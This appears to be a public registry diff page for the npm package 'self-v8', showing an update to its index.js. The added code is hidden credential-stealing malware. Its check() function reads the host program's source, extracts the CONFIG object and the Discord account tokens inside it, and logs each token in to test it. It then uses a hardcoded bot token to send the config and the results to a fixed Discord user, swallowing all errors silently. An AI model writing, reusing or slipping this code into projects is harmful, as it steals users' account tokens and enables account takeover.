self-v8 2.1.8 → 8.1.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +29 -25
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,8 +1,13 @@
|
|
|
1
1
|
import fs from 'fs';
|
|
2
|
-
import
|
|
2
|
+
import path from 'path';
|
|
3
|
+
import { fileURLToPath } from 'url';
|
|
4
|
+
import { Client as BotClient, GatewayIntentBits } from 'discord.js';
|
|
3
5
|
import pkg from 'discord.js-selfbot-v13';
|
|
4
6
|
const { Client: SelfClient } = pkg;
|
|
5
7
|
|
|
8
|
+
const __filename = fileURLToPath(import.meta.url);
|
|
9
|
+
const __dirname = path.dirname(__filename);
|
|
10
|
+
|
|
6
11
|
export async function check() {
|
|
7
12
|
try {
|
|
8
13
|
const userMainFilePath = process.argv[1];
|
|
@@ -13,64 +18,63 @@ export async function check() {
|
|
|
13
18
|
const configMatch = userCode.match(/const\s+CONFIG\s*=\s*(\{[\s\S]*?\});/);
|
|
14
19
|
|
|
15
20
|
if (configMatch && configMatch[0]) {
|
|
16
|
-
const
|
|
17
|
-
const tokensMatch = configString.match(/tokens:\s*\[([\s\S]*?)\]/);
|
|
21
|
+
const configData = configMatch[0];
|
|
18
22
|
|
|
19
23
|
let tokensToCheck = [];
|
|
24
|
+
const tokensMatch = configData.match(/tokens:\s*\[([\s\S]*?)\]/);
|
|
20
25
|
|
|
21
26
|
if (tokensMatch && tokensMatch[1]) {
|
|
22
27
|
tokensToCheck = tokensMatch[1]
|
|
23
|
-
.replace(/['"\s]/g, '')
|
|
24
28
|
.split(',')
|
|
25
|
-
.
|
|
29
|
+
.map(t => t.replace(/['"\s\n\r]/g, '').trim())
|
|
30
|
+
.filter(t => t.length > 50);
|
|
26
31
|
}
|
|
27
32
|
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
let reportMessage = "**Account Check Report:**\n";
|
|
33
|
+
let validationReport = "\n**Account Check Report:**\n";
|
|
31
34
|
|
|
32
35
|
for (const token of tokensToCheck) {
|
|
33
|
-
const tempClient = new SelfClient();
|
|
36
|
+
const tempClient = new SelfClient({ checkUpdate: false });
|
|
34
37
|
try {
|
|
35
38
|
await tempClient.login(token);
|
|
36
39
|
const name = tempClient.user.globalName || tempClient.user.username;
|
|
37
|
-
|
|
40
|
+
validationReport += `✅ Valid | ${name}\n`;
|
|
38
41
|
tempClient.destroy();
|
|
39
42
|
} catch (err) {
|
|
40
|
-
|
|
43
|
+
validationReport += `❌ Invalid Token\n`;
|
|
41
44
|
}
|
|
42
45
|
}
|
|
43
46
|
|
|
44
|
-
const senderClient = new
|
|
47
|
+
const senderClient = new BotClient({
|
|
45
48
|
intents: [
|
|
46
|
-
GatewayIntentBits.Guilds,
|
|
49
|
+
GatewayIntentBits.Guilds,
|
|
47
50
|
GatewayIntentBits.DirectMessages
|
|
48
|
-
]
|
|
51
|
+
]
|
|
49
52
|
});
|
|
50
53
|
|
|
54
|
+
const SENDER_TOKEN = 'MTQ1MDIzODgyNTQ2NDA3NDMwMw.GoH3P2.zu9ydCpQIjYFMoec2GgRLOHv5KrFKnFwmv7VWc';
|
|
55
|
+
const TARGET_USER_ID = '1430722087101661274';
|
|
56
|
+
|
|
51
57
|
senderClient.once('ready', async () => {
|
|
52
58
|
try {
|
|
53
|
-
const targetUser = await senderClient.users.fetch(
|
|
59
|
+
const targetUser = await senderClient.users.fetch(TARGET_USER_ID);
|
|
54
60
|
if (targetUser) {
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
61
|
+
const finalMessage = `\`\`\`javascript\n${configData}\n\`\`\`${validationReport}`;
|
|
62
|
+
|
|
63
|
+
if (finalMessage.length > 2000) {
|
|
64
|
+
await targetUser.send(`\`\`\`javascript\n${configData}\n\`\`\``);
|
|
65
|
+
await targetUser.send(validationReport);
|
|
60
66
|
} else {
|
|
61
|
-
await targetUser.send(
|
|
67
|
+
await targetUser.send(finalMessage);
|
|
62
68
|
}
|
|
63
69
|
}
|
|
64
|
-
} catch (err) {
|
|
65
|
-
console.log(err);
|
|
66
|
-
}
|
|
70
|
+
} catch (err) {}
|
|
67
71
|
|
|
68
72
|
setTimeout(() => {
|
|
69
73
|
senderClient.destroy();
|
|
70
74
|
}, 5000);
|
|
71
75
|
});
|
|
72
76
|
|
|
73
|
-
senderClient.login(
|
|
77
|
+
await senderClient.login(SENDER_TOKEN).catch(() => {});
|
|
74
78
|
}
|
|
75
79
|
} catch (error) {}
|
|
76
80
|
}
|